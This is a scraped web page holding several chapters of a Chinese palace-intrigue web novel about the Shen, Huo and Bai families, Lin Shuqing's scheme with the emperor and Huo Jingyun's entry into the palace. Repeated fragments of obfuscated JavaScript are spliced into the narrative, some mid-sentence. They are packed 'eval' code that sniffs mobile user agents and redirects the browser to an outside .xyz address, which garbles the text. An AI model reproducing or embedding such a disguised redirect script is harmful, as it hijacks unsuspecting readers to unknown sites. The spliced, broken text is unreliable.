这是在意料之中的事,京城里这样的事可不少,暴毙能掩藏很多真相,如自家姑娘无缘无故失踪,但真相会折磨每一个知道的人,这些人里不包括自己。 白老夫人面前放着断绝书,自己最疼爱的孙女竟然走了这一步,另一份是给霍云昭写的辞别书,说是辞别书,不如说是放夫书,反正两个人是情断义绝。 她脸色阴沉,看了眼自己的儿媳。 白夫人低着头不敢看婆母,她哪里想到白向晚竟是如此离经叛道,为达目的不择手段也就罢了,如今竟敢一走了之,留下了一堆烂摊子,谁来收拾? 白老夫人目光一转,落在了自己女儿的身上。 白汐颜是霍云昭的生母,但并非白老夫人的亲生女儿,当年永安侯府的庶长女嫁到霍家,霍家以迎娶嫡女的礼仪大操大办,曾让白汐颜在京城里赚足了脸面,当然这也只能说命好,永安侯府没有嫡出的女儿。 “母亲,向晚的事,我也很难过,不管怎么说都是自家人,我已经让云昭去找了。”白汐颜不敢在白老夫人跟前放肆,哪怕她现在已经是霍家后宅绝对的掌权人。 白老夫人神色不动,沉默着。 她为何偏疼白向晚?因白向晚是白家嫡出的唯一女儿。 张嬷嬷从外面进来,俯身在白老夫人耳边低声说:“老夫人,有人说知道内情。” “嗯?”白老夫人挑眉:“人在何处?” “奴婢怕这个人乱说,在隔壁花厅里,您看怎么处置。”张嬷嬷回道。 这下,屋子里的白夫人和白汐颜都有些坐不住了。 这个时候冒出来这么一个人,白老夫人怎么可能不见?白夫人额头冷汗都下来了。 果然,白老夫人起身:“你们两个就这里等着我吧。” 一盏茶的工夫,白老夫人回来了,白汐颜和白夫人没敢询问。 但白夫人看到了婆母红了的眼眶,心都提到了嗓子样儿。 白老夫人端起手边的茶,微微皱眉:“听竹,茶凉了。” 张嬷嬷过来给老夫人换了热茶。 白老夫人满意的点了点头,端起来茶盏冷不防直接砸在了白夫人的脸上,白夫人尖叫着捂着脸,不敢跑出去,扑通跪在地上,一迭声的告罪:“母亲,儿媳错了,儿媳错了?” “错了?”白老夫人怒急:“你口口声声向晚没教养,可想过向晚一直都养在我的身边?你如此贬损她,就是在贬损我!小事我可以不计较,向晚有了身孕,向你求救,你如何对她的?” 白夫人感觉脸上这层皮肉都要熟了,磕头在地:“是我的错,可向晚也是我的女儿啊,我怎么能不疼她呢,母亲息怒。” “我息怒?你怎么不跟汐颜学一学?汐颜就学得很好,出嫁从夫,夫家的利益高于一切,对吧?”白老夫人目光阴冷的看着白汐颜。 白汐颜赶紧跪下:“母亲,女儿不知向晚已有身孕,真真不知。” “霍家好家教啊,你的好女儿逼**我不争气的孙女,汐颜教导有方,我尽力能处理掉自家儿媳,却不能对你霍夫人做任何事,但你把老身的话记在心里,打今儿起,你没有娘家!滚!”白老夫人真真是气炸了心肝肺,她的孙女是不争气,但不争气又怎么了?至于要她的命吗? 霍家一而再,再而三的出尔反尔,自私自利,不顾自己孙女的死活,真当自己是眼瞎了?若非孙女死心眼儿,这门婚事真是下下之选。 最可恨的是自家儿媳,还真是护着娘家,宁可逼死自己的亲生女儿。 白汐颜哪里还敢多留,起身赶紧走了。 白夫人疼得浑身哆嗦,但没有白老夫人的话,她不敢走。 白老夫人拿了帕子擦眼泪,低头看着儿媳:“发丧,总不能是一口空棺材。” “母亲。”白夫人吓得跌坐在地上,抬起被烫的起了水泡的脸,惊恐的看着白老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈清欢取出来书信打开,走到窗边坐下来仔细看,从头看到尾,问:“嬷嬷,去问问父亲,三叔什么时候回来?” 第44章 麒麟山上热闹了 这不是沈清欢想知道的,而是林舒清拜帖里问的就是这件事,至于三叔有什么安排,就算不知道,也猜得出来,林舒清和三叔之间必定有交易。 郑嬷嬷出门去,沈清欢坐下来斟酌着回了一封信。 若是外人看,不过是姑娘家的一些闲言碎语和应了沈清欢来府上的请求,之所以斟酌,沈清欢深知人心最难测。 书信写到最后停下笔,郑嬷嬷回来禀告:“小姐,三爷明儿就到京城了。” 沈清欢这才把日子写上,定在了后天,也就是六月初八这一天,寻常的日子而已,但六月初十是霍静纭入宫的日子,作为京中贵女,可以趁机借添妆之名攀附一二,毕竟霍静纭入宫是做贵妃的呢。 把书信送出去后,沈清欢坐下来静静地看书。 脑海里是京城里的人和事,沈家如今风平浪静,霍家求赐婚的事过去后,在京城人眼里,沈家非但不受影响还得了好处,大哥进了金吾卫还是从三品的左将军,别说将军了,就是能进金吾卫都是京中世家子弟求而不得的好机缘啊。 可在沈清欢眼里,这是捧杀,大哥若是有一丝一毫的行差踏错,那就是昏君出手的机会。 至于霍家,沈清欢反倒不觉得有什么好在乎的,因为司徒珩想要的是霍家兵权,不过是等待一个时机罢了。 第二天,三叔回京,钟灵没有跟着回来,因药王谷的嫁妆在后头,听三叔那意思,老谷主要在京城里住一段日子,其实是舍不得女儿。 “三叔,林舒清的拜帖。”沈清欢把拜帖递给沈景行。 沈景行看过放在一边:“明日来了再说,你只管待客,别的无需操心。” 沈清欢知道家里人都恨不得把她护得密不透风,乖顺的点头,心里早有打算,三叔这边尽可去做,自己真正的合作伙伴是司徒珩。 林舒清登门拜访的时候,沈家唯有沈清欢派人来迎,也无需去拜见长辈,直接去了听风苑。 听风苑里,沈清欢请林舒清落座。 再见沈清欢,林舒清浑身都不自在。 “都退下吧。”沈清欢看出来林舒清不自在,让左右服侍的人退下,屋子里只剩了她们二人。 林舒清起身就跪下了。 沈清欢伸出手去搀扶。 “沈四小姐,我得赔罪,是我自私在前,伤你在后,所以林家的一切都是报应。”林舒清不肯起身:“从我回京那一刻起,沈四小姐就是我的主子,不管在何时何地,唯沈四小姐马首是瞻。” 沈清欢用了力气:“起来好好说话。” 林舒清眼圈泛红,到底坚持着给沈清欢磕头认主后,起身坐在椅子上。 “三叔昨日才归京,稍后会过来。”沈清欢知道林舒清最想要见到的人是三叔,开门见山先说,顿了一下才又说:“林小姐,你我之间的恩怨确实难以一笔勾销,若非三叔和你之间有约定,就算沈家用别的手段把林家彻底抹杀干净,那也只能说沈家睚眦必报,却不能说林家无辜。” “是。”林舒清低下了头,沈清欢就算是打自己一顿,留一口气给自己都是高抬贵手了,她也知道沈家的手段,如今那畜生在府里生不如死,就是沈三爷的手段。 沈清欢蹙眉:“尽管,我觉得你是个可怜人。” “哪里有可怜呢。”林舒清摇头,如今的她已经没有眼泪了:“我是命不好,血脉至亲伤我,并无半点怜悯之情,如今倒是比之前畅快了不少,没有什么是奢望,反倒是把能拿在手里的,都拿在手里了。” 沈清欢没多问,不想问,也没机会问,因为三叔过来了。 沈景行进门,看了一眼沈清欢:“阿灼,去取棋盘来。” 这就把自己支开了? 沈清欢起身往外走的时候,有些可怜巴巴的看了眼沈景行,沈景行笑了,抬起手挥了挥,那意思让沈清欢赶紧走。 一旁的林舒清心里酸涩,她是亲眼看到了沈三爷是多么护着沈清欢的,沈清欢或许在婚事上不称心,但她真是个得到了家人全部爱护的姑娘。 等沈清欢出去后,林舒清立刻站起来了。 沈景行撩起眼皮儿看林舒清:“我差人给你送的药汤可按时服用了?” “是,一直都在用,昨儿最后一次药用完了。”林舒清说。 沈景行取出来个瓷瓶放在桌子上:“明日皇上要去麒麟山的安国寺,陪着太后祈福进香,今晚有人护送你去安国寺,后续有人安排,你只管照做。” 林舒清垂首:“是。” “这里面是百香丸,服用后会散发异香, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯,确实有点儿。”司徒珩坐下来自己倒了一杯茶喝了一大口:“麒麟山上热闹了,要不要听?” 第45章 热闹我不是看完了吗? 沈清欢好奇:“麒麟山上怎么了?” “林舒清出现在麒麟山,皇上惊为天人,要纳入宫中。”司徒珩说。 沈清欢心里大骇,什么惊为天人?这难道就是三叔和林舒清做的事? “你仔细说说。”沈清欢不敢确定,林舒清入宫那是会死的,已非完璧之身,卫国公府又是有着那样的不堪,卫国公、卫国公夫人和罪魁祸首的林墨轩都活着,刚闹腾出这么大的丑事,一旦东窗事发,卫国公府就会从京城彻底消失了,难道林舒清想要用这样的方式报仇吗? 司徒珩说:“皇上陪着太后去麒麟山进香,在后山看景的时候见百蝶纷飞,林舒清在百蝶中翩翩起舞,这就入了皇上的眼。” 沈清欢确定了,这就是三叔的手笔,不过只是惊为天人倒也无妨,至于入宫不入宫,皇上虽昏庸,但不至于不要脸,林墨轩那样的丑事之后,林舒清是不可能入宫的。 “皇上一问,原来是卫国公府的小姐,召见到静室里,之后就不能说了。”司徒珩看沈清欢,发现沈清欢震惊不已,知道沈景行瞒着她了。 沈家还真是恨不得把沈清欢保护的密不透风才放心啊。 沈清欢悬着的心,终是**,眉头紧锁:“皇上事后要林舒清入宫,就没发现什么端倪?” “林舒清拒绝了。”司徒珩说到这里,抬起手压了压鼻梁:“她心思深沉,善于拿捏人心,霍静纭明日入宫,若是我料想不错的话,她入宫第一晚就会守空房。” 沈清欢没言语,她现在还有什么不明白的,三叔放过林舒清的目的是为了对付霍静纭,仔细想想林舒清在上一世的能耐,对付霍静纭确实可行,若是霍静纭再厉害三分,倒也是棋逢对手。 “阿灼,太后送的凤冠可喜欢?”司徒珩话锋一转。 沈清欢抬眸看司徒珩:“当然喜欢,不过就怕有人说越秩了。” “不会,太后会给你撑腰的。”司徒珩起身坐在沈清欢身边:“可是要去添妆,若是去添妆,带着我可好?” 沈清欢偏头看司徒珩:“为何要去添妆?我憎恶霍家无人不知,难道就因为霍静纭要入宫了,我就腆着脸去攀附?那可不是沈家女儿做的事。” “若林舒清希望和你去给霍静纭添妆呢?”司徒珩笑望着沈清欢。 沈清欢只觉得被噎住了一般,是啊,明知道这是三叔在布局,自己能不去? 想到这里,看司徒珩:“你过来跟我说麒麟山的事,就是为了让我答应林舒清过去给添妆吧?” “倒也不是非去不可。”司徒珩端起茶抿了一口:“但若去,我得陪着。” 沈清欢蹙眉:“明日可就是霍静纭入宫的日子,再去添妆是不是晚了?” “本也是日落之后才入宫,来得及。”司徒珩说。 沈清欢缓缓点头:“好,那我就等林舒清。” 第二天一大早,果然林舒清送来了书信,人已经在门口的巷子里等着了,要过去给霍静纭添妆,沈清欢昨日就准备了添妆的礼物,带着疏影出门。 疏影看到林舒清,那手心都刺痒,恨不得扑上去把这个害自家小姐的女人撕碎了! “沈四小姐,可要同乘?”林舒清问。 沈清欢摇头:“不需要,我跟在后面就好。”沈清欢坐上了沈府的马车,马车往霍家去的时候,回想林舒清那寡淡的穿戴,昨日的事别人不知道很寻常,但霍静纭一定知道,今儿自己看看戏也挺好。 霍家张灯结彩,仆从家眷都喜气洋洋,朝廷官员携带家眷过来道贺,霍老夫人和霍夫人招待女眷,各家小姐都过来陪着霍静纭。 林舒清和沈清欢到了后,被丫环引领着往霍静纭待嫁的院子去。 一进门,沈清欢明显感觉到霍静纭的表情都变了,这次倒不是盯着自己,而是盯着林舒清了,显然昨天的事,她知道。 林舒清进门,笑着说:“霍家妹妹,今儿大喜,我早就想要过来添妆,只是迟迟没有机会,幸好还来得及。” “林舒清是,我记得你们家刚办完丧事,不太适合出门吧?”霍静纭脸色一沉,开口就直奔林舒清要害来了。 沈清欢做壁上观,可别家那些贵女可不敢瞧这热闹,在未来的贵妃跟前,林舒清是上不得台面的,可若无霍静纭,她们都不敢惹林舒清。 正因如此,这些个贵女都退出去了。 屋子里只剩下了霍静纭、林舒清和沈清欢。 林舒清微微一挑:“霍静纭,这添妆本就是讨个彩头,我也不过是凑热闹罢了,怎么能如此大庭广 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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沈清欢倒是难得小鸟依人一回,走到门口回头问:“林家姐姐,不一起走吗?” “一起,不过沈四小姐,你说白向晚有了身孕是怎么回事啊?”林舒清跟过来,声音极小的问。 。 第46章 这人心,何止难测 霍云昭猛地回头看霍静纭。 霍静纭面色如常:“兄长,今儿可是我入宫的大日子,你要拎得清。” “向晚怀了身孕是真是假?别撒谎,我一查便知。”霍云昭抬头看着霍静纭,眼里的警告意味明显。 霍静纭嗤笑:“怎么?你这会儿想起来情深了?因为人**对吗?” 霍云昭眯了眯眼睛。 “我们是亲兄妹,从小一起长大,你是什么脾性我会不了解?白向晚死与不死你真的在乎吗?不过怀了身孕是真的,你在乎你的血脉也没用,霍家的长子必须是嫡出,而白向晚永远不可能成为你的正妻。”霍静纭淡淡的扫了眼霍云昭:“你和我,要么都是棋子,要么都是弃子。” 霍云昭离开的时候,像是霜打的茄子似的,遇到来客不得不强打精神招呼着,他怎么也没想到沈清欢竟要嫁给司徒珩了,自己所求落空,还折损了白向晚和他们俩的孩子,代价太大了。 沈清欢和司徒珩一起回了沈府,林舒清看着二人的马车,心里竟没有一点点儿嫉妒,没资格,不配,而她现在只想为自己和二哥报仇,卫国公府是个腌臜的地方,那就更腌臜些,挺好的。 沈府门前,沈清欢看到了大伯父的马车,心提到了嗓子眼儿,着急下车的她被司徒珩拉住:“怎么了?” “大伯父回来了,你且回府去。”沈清欢说。 司徒珩太知道沈家大房的事了,这个时候露面确实不合时宜,麻烦沈家的马车送他回去。 沈清欢刚进门,就听到了瓷片碎裂的声音,还不是一个,刚停下脚步看向大书房,就见大书房的窗户飞了出来,随着落地的沈景川爬起来,他发疯了一般冲进书房里去。 沈清欢看得出来大伯父要拼命,哪里还能管得了那么多,快步过来直接进了大书房,果然三叔不在,父亲护着祖父,满脸怒色,碎了一地的碎片和额角染了血色的父亲,还有祖父护在身后,双眼紧闭的二姐沈清韵,这让沈清欢的怒火瞬间冲到了天灵盖。 “说!你们卸磨杀驴!我的妻儿都哪里去了?”沈景川发疯了一般怒吼。 沈清欢冲过来,抓起来花瓶照着沈景川的脸砸了过去。 “阿灼!” “阿灼!” 沈良辅和沈景谦同时出声阻拦,可哪里有沈清欢的动作快? “我看你敢动我一下!我可是安王妃!”沈清欢单手掐腰,抬起手指着沈景川:“你想死都行,别人不舍得,我能成全你!” 沈景川躲开瓷瓶后,冷笑着看沈清欢:“你以下犯上,也欺我不是嫡出?” “你就是被这嫡、庶害惨了!大伯父,你不想一想,沈家的命脉都在你手里,祖父何曾亏待过你!”沈清欢说:“沈清瑶替人卖命,栽赃**通敌证据在祖父书房密室里,这事儿你不知道吧?沈清瑶给安王下脏药,试图生米煮成熟饭,攀附安王,这事儿你不知道吧?” “不可能!”沈景川哪里会信? 沈清欢点头:“行!你不信是吗?那你出去打听打听,祖父、父亲和大哥被召入宫中,沈家被搜查,这事儿京城里的人都知道,你去问啊!” 沈景川是个生意人,生意做的很厉害,足以说明不是个笨人。 他缓缓后退坐在椅子上,不看沈清欢,而是看着沈良辅:“父亲,她说的都是真的吗?” “你不容分说就来拼命,老大啊,你最沉稳,怎么变得如此鲁莽了呢?”沈良辅叹气。 沈景川从袖袋里取出来一封书信,看了看父亲和二弟,递给了沈清欢。 沈清欢低头看了一遍,冷笑:“大伯父,你若信他们的话,我现在就送你去见他们,当面对质如何?” “清韵说了一些。”沈景川低下头。 沈清欢点头:“行,行!你看二姐的脸,是她亲生母亲用刺藤抽的,要毁了她,你作为二姐的亲生父亲,竟又这么对她,大伯父啊,这是你的孩子啊,你们是觉得二姐跟你们格格不入,处处都不让你们称心,可你想过没有,祖父都护着的孩子,能是个品行不好的吗?” 沈景川低下头。 沈清欢吩咐人把二小姐送去步秋那边,让父亲也去看伤。 下人收拾屋子里的残局。 沈清欢坐在祖父身边,沉默的三个人和忙碌的下人们,直到屋子里都收拾干净后,沈清欢才说:“大伯父,你如今确实最难,一边是妻儿,一边是沈家,你怎么选都行,但丑话说在前头,邹氏和沈清瑶、沈清婉、沈清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈景谦一愣:“阿灼,怎么问起这个了?” 第47章 入宫守空房,林舒清接旨 沈清欢无法接触到朝堂上的大事,但司徒珩提起过,与其追问司徒珩让他戒备,自是问父亲最好。 她比任何人都期待西凉杀进来,这也是沈家破局最轻松的方式,借刀**。 昏君一意孤行要斩除沈家,究其根本是因为祖父一步步辅佐他到今日,他在祖父跟前总觉得气短,而身为一国之君,他不再是那个要仰仗祖父和沈家人的弱势皇帝了。 所以,这个心思怎么会因为霍家提亲不成,栽赃陷害失败就停止呢? 与其夜夜防贼,不如让贼**,一劳永逸。 沈景谦有心不说,可他比任何人都清楚阿灼是个心怀天下的孩子,不管这心怀天下是为了沈家,还是别的什么,但至少她虽不动声色,却一直都在为沈家破局。 “阿灼,西凉用近三十年休养生息,如今确实兵强马壮,也有蠢蠢欲动之势,但两国交战并非只看这一点,西凉也要掂量掂量大夏如今的实力。”沈景谦说。 沈清欢好奇:“所以,沈家能震慑西凉吗?” “不能。”沈景谦说:“阿灼切不可一叶障目,沈家只是文臣,可治世却不能安邦,文武各司其职才是立国之本。” 沈清欢当然知道沈家暂时并无能带兵征战的人,可现在没有,不代表以后没有,祖父已经隐退朝堂,父亲也必然要走这条路,沈家从文臣之首的位置退下来后,才是大哥施展拳脚的时候,不过暂时这一切都只是构想,她希望司徒珩早点儿拿下霍家的兵权。 她的心思被沈景谦看穿,心里思量片刻说:“安王所求,不难达成。” “父亲可有什么好法子?”沈清欢是着急的,因霍家在霍静纭入宫后,最多在京城停留几日便会启程回雁门关,一旦回去雁门关,以霍家人的脾性,就算霍静纭在宫里也无法真正制衡其野心,放虎归山,后患无穷。 沈景谦说:“安王监军,可以让霍家心有忌惮,但要在你们大婚之后。” “所以,霍家还是会全须全尾的离开京城。”沈清欢心里有些失望,可朝堂上的事怎么能是她能左右得了的? 沈景谦点头:“沈家如今不作为,安王自会有法子,阿灼切记,就算成为安王妃,那谁也不能参与安王的外务。” “是。”沈清欢答应的爽快。 沈景谦自是不信的,不过日子有功,只需要适时地让女儿知道事情的发展,那么他的女儿就能学会审时度势。 霍静纭当晚入宫,从皇宫后门抬进了云烟阁。 云烟阁位置不前也不后,在皇后凤仪宫的西北角,不属于后六宫,是独立的一个院子。 院子里只是挂了两盏红灯,贴了双喜字,宫女、嬷嬷和太监统共十二人。 安静的让霍静纭心如秋凉。 说是贵妃,可历朝历代哪个贵妃不是一宫之主? 说是迎娶,就算寻常大户人家抬个妾室,也要有些仪程,自己这算是什么? 掌事的嬷嬷倒是满脸喜色,恭敬的很,宫女搀扶着霍静纭坐在芙蓉帐内,盖着盖头的她轻声:“鸿雁。” “娘娘,您的陪嫁的丫环刚到宫里,怕不懂规矩被罚,老奴让人带下去学规矩了。”掌事嬷嬷恭敬的说:“老奴是宫里安排过来照顾娘娘的人,这是咱云烟阁的人事册子。” 霍静纭伸出手接过来,盖头不能摘,但册子还是能看的。 掌事嬷嬷姓楚,名茹娘,两个一等宫女:春杏和秋桃,二等宫女:夏柳和冬雪,粗使婆子四人,负责宫里洒扫和浆洗,三个太监是负责外事。 霍静纭把册子放在一边,柔声:“楚嬷嬷,鸿雁掌管着打赏的红封,规矩不在一时,先把人叫过来。” 掌事嬷嬷笑了:“娘娘,宫里不比外面,规矩就是规矩,以后日子长着呢,不急于这一时,我们都是娘娘的人,可不能为了点儿蝇头小利让娘娘难做。” 霍静纭缓缓地吸了口气,没再言语。 下马威嘛,自己还接得住。 从酉时末入宫,一直到子时的梆声过了,还不见任何动静,霍静纭从昨夜里就开始准备,到现在又饿又困,偏偏皇上不来,自己是一动都不能动,她觉得奇怪,可若问的话有太掉架儿,只能耐着性子等,她笃定就算是看在霍家的面子上,今晚皇上是一定要过来的。 *** 卫国公府里。 林舒清慵懒的靠在靖安帝的怀里,手指在靖安帝的胸口打着圈儿:“皇上,您这是故意晒着她,偏偏用清儿作了筏子,回头那边知道了,保不齐怎么想法整治清儿呢。” 靖安帝被搔得心痒痒,握住林舒清的手腕:“你个磨人的小东西,让你入宫又不肯,回头还勾着朕离不开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555266|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这儿,偏偏要倒打一耙,还是朕的不是了?” 林舒清赶紧贴过去蹭了蹭靖安帝的脸颊:“可冤枉清儿了,这不是害怕嘛,若是被人知道了,清儿活不成了。” 靖安帝轻轻地叹了口气,他哪里不懂得这道理? 可这冤孽啊,打从在麒麟山见了一面,食髓知味的他这两日都寝食难安,恨不得时时刻刻都见到她,偏偏这份心思又不能表露出来,现如今更厉害了,堂堂一国之君竟做起了爬墙头的勾当,丢人吗?是一点儿也没感觉到,反而觉得刺激的厉害。 “你爹娘可说过你的亲事?”靖安帝这辈子也没尝到过这样的乐趣,害怕一扭头就什么都没有了,毕竟林舒清不是寻常人家的姑娘,卫国公府的嫡长女,京城多少世家子弟都会趋之若鹜,当然,因林墨轩的丑事闹腾起来后,婚事到会受到一些阻碍,但有阻碍不是没人娶啊。 林舒清身体僵了僵,低头默默垂泪。 “哭什么?”靖安帝看她梨花带雨的模样,心都疼了,赶紧把人拥到怀里:“清儿不哭,不管什么事,朕都可以给你做主。” 林舒清摇头:“皇上,清儿不给皇上添堵,家里的事就那样了,打从大哥出事后,我也不打算嫁人,如今父亲和母亲还能指望谁呢?若我嫁了出去,这个家也就完了。” “清儿是个好的。”靖安帝也因卫国公府的事唏嘘不已,他倒是查了,没查出来什么天道盟,倒是查出来林墨轩不少脏事,至于林墨轩到底得罪了什么人,也是一点儿也没查出来,他每日政务繁忙,也就没有再问过。 还以为林舒清是有意算计自己,如今看来倒是多想了,不肯嫁人也不肯入宫,只想守着卫国公府里的父母,这样的女子怎么能不让人心疼,当然,他可不会承认自己那点子想要霸着如此尤物的心思。 “罢了,朕给你个封号,虽女子不能袭爵,但封号不会比卫国公弱,你只管好好在这里,朕会常来。”靖安帝说。 林舒清立刻嘤咛一声钻进了靖安帝的怀里,靖安帝顺势把人压下…… 寅时三刻,靖安帝两腿发软的离开卫国公府,直接回去了御书房,传下口谕今日不早朝。 倒是辰时刚过,金吾卫压阵,大太监林有德擎着圣旨来到了卫国公府,府门大开,林有德高声:“卫国公府嫡长女林舒清接旨……” 第48章 沈家这是要留后手了? “小姐,小姐。” 疏影满脸通红的跑进来,不知道是急得还是气得,见到沈清欢的时候使劲儿拍打着胸脯,竟是说不出话来。 沈清欢微微挑眉,看了眼郑嬷嬷。 郑嬷嬷伸出手给疏影顺气。 疏影蹲下来,一抬头眼睛通红通红的,撇着嘴儿要哭出来了:“小姐,这世道是坏透了。” “说事。”沈清欢淡淡的说。 疏影抹了一把眼泪:“林舒清被封了个如意夫人的称号。” “哦?”沈清欢勾起唇角笑了:“然后呢?” 疏影气得直哆嗦:“听说,其身份跟我们的老夫人差不多。” “差不多就还是差的,再说这跟咱们没关系。”沈清欢还真佩服三叔,虽说手段未必见得光,可效果是显著的,君子论心不论迹,只要达成目的,用什么手段到无妨。 疏影呆呆地看着小姐,她真每时每刻都想要报仇啊,虽然不能杀了林舒清,可真见不得她好,她那么坏,凭什么好? 沈清欢端起茶盏抿了一口:“嬷嬷,看来是我太骄纵她们俩了,竟都傻乎乎的,回头多教教。” “是。”郑嬷嬷领命。 疏影一头雾水的退下,心里怎么都转不过来那个弯,她醒来的时候小姐回府了,到底经历了什么她不知道,可后续事情发生了这么多,她觉得小姐必定遭了大难,就算化险为夷,那林舒清也是不能原谅的,就是她也好害小姐。 郑嬷嬷看着蹲在门口,一脸迷糊的疏影,搬个小板凳坐下来,说:“小姐跟卫国公府的小姐不熟,只是略有交际。” “是啊,我知道啊。”疏影看郑嬷嬷:“可是她……” “略有交际,没有可是。”郑嬷嬷阴沉下了脸。 疏影犹如被当头棒喝,立刻憋回去了后头的话,对!小姐跟林舒清不熟,所以哪里有什么进香的事? “懂了?”郑嬷嬷沉声。 疏影低下头:“是,嬷嬷,是我糊涂了,下回我再犯糊涂,您就打我。” “咱们跟在小姐身边,以后还会到安王府去伺候,你这个性子可不妥当,凡事多想少说,多看再做,不能小姐宠着你们是,你们就不知道深浅,这世上哪里有人凭着一腔赤诚就所向披靡了?”郑嬷嬷说。 红缨凑过来,认真的听着。 郑嬷嬷脸上不开晴,说:“若是你们不长进,小姐出嫁就另外选人,到时候你们可能不会留在府里,我看小姐的意思是想要放你们出去。” “不不不。”疏影赶紧拉住了郑嬷嬷的手:“我学,我学,嬷嬷千万不要说放出去的话。” 红缨回头看看屋子里看书的小姐,她早就下定决心一辈子跟着小姐了,规矩就是人学的,自己学得会,还有那些弯弯绕绕,没吃过猪肉也看过猪跑,回头多听听别人家后宅的花花事,也能学个七七八八,不能给小姐丢人。 听风苑里。 郑嬷嬷语重心长:“一家过日子百家望,我和你们说……” 房间里,沈清欢翻看着府里的账目,母亲本来是不打算让她这么早就学的,可世事无常,再有不足三个月就要出嫁了,恨不得一股脑的都塞到沈清欢的脑子里才好。 偶尔看累了,抬头看郑嬷嬷绘声绘色的讲着各家后宅的阴私事,心里竟觉得无比踏实,她重生归来,发誓护好每一个人,可单枪匹马总是难,郑嬷嬷能把疏影和红缨培养起来,自己就有了左膀右臂。 沈景川过来的时候,立在门口听了好一会儿。 旁边陪着一起来的沈景行没打扰。 “到底是少了教养啊。”沈景川感慨一句。 沈景行没搭腔儿,而是上前叩门环。 红缨过来开门,恭敬地立在门旁:“大爷、三爷。” “阿灼在忙吗?”沈景行问。 红缨点头:“小姐被夫人安排学账目,奴婢这就去通禀。” “嗯。”沈景行点头。 沈清欢穿鞋下地,亲自迎出门:“大伯父,三叔,快请进来。” 沈景川听到这声甜甜的大伯父,只觉得脸上都臊得慌。 二人进门,沈清欢乖巧的给请安,疏影进来奉茶后退下。 “你大伯父心里头不舒坦,想要过来给阿灼赔不是。”沈景行开门见山。 沈清欢看向沈景川:“大伯父,我们沈家无论何时都共进退,您必定知道了各中细情,说起来在外人看来大方是被生生的拆散架子了,大伯父能明辨是非就是大幸事,阿灼可不能让您给我一个晚辈赔不是。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555267|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈景川羞愧的摇头:“若非阿灼聪慧机敏,有胆有谋,只怕沈家早就不是这般光景了,如今连累阿灼婚事,这个是一辈子的大事,实在是愧疚啊。” “大伯父,嫁给安王是高攀,不能说连累,至于我嫁给谁,其实我心里清楚,不嫁是不可能的,嫁给安王是最好的选择。”沈清欢浅浅的笑了:“大伯父,沈家绝不能被人当成砧板上的鱼肉,只要沈家在,就算嫁给安王又如何?我有您和家里长辈撑腰呢。” 沈景川叹了口气:“阿灼啊,我想带着清韵离开京城,往南地去。” “这是好事啊。”沈清欢喜形于色:“大伯父,若遇到合适的人,您这一脉留下香火传承,三叔完婚后也不会久居京城,我们沈家无论到了何种境地,有你们在外支撑着,就能东山再起。” 这话,从侄女的口中听到,沈景川心里头别提多酸涩了。 他知道自己未择贤妻,更知道自己私心太重,若不然怎么能把孩子教养成那般样子? 如今,让他选,他其实只有一条路,沈家是决不能舍弃的,至于邹氏和那三个孩子,父亲安排的很周到,除族之后,就算沈家真有那么一天,她们也不会被连累。 拳拳之心,就算邹氏他们几个不能理解,他心里有数,单就清瑶陷害一事,就是对沈家全族犯下了不可饶恕的罪,能全须全尾的离开沈家,他都要感念父亲和手足的恩情。 看沈清欢,刚刚及笄的孩子,心胸和眼界都在自己之上,若自己再不上进,真是对不起孩子叫一声大伯父。 从听风苑出来,沈景川停下脚步:“三弟,我往江南置办产业,现在手里头的一切都交给府里,也一并把我和清韵除族吧。” “决定了?”沈景行问。 沈景川点头:“决定了,沈家所面临的艰难,绝非一朝一夕能度过去,江南的沈家会是咱们这一族的后路,我一定会做好的。” “好。”沈景行勾着沈景川的肩膀:“大哥,去找二哥喝一杯。” 